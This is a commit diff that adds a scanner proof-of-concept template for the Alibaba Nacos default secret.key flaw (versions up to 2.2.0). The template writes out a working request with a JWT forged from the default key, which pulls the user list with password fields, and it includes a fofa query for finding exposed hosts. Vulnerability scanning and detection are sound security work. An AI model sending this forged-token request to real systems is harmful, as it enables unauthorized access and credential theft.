feat: expand internal network poc coverage

webscan/pocs/nacos-secret-default-key-unauth.yaml

@@ -0,0 +1,21 @@
+id: nacos-secret-default-key-unauth
+
+info:
+  name: Alibaba Nacos secret.key默认密钥 未授权访问漏洞
+  author: zan8in
+  severity: high
+  verified: true
+  description: |-
+    Alibaba Nacos 使用了固定的secret.key默认密钥，导致攻击者可以构造请求获取敏感信息，导致未授权访问漏洞
+    Alibaba Nacos <= 2.2.0
+    fofa: app="NACOS"
+  tags: nacos,unauth
+  created: 2024/07/20
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9
+    expression: response.status == 200 && response.headers["content-type"].contains("application/json") && response.body.bcontains(b'"username":') && response.body.bcontains(b'"password":')
+expression: r0()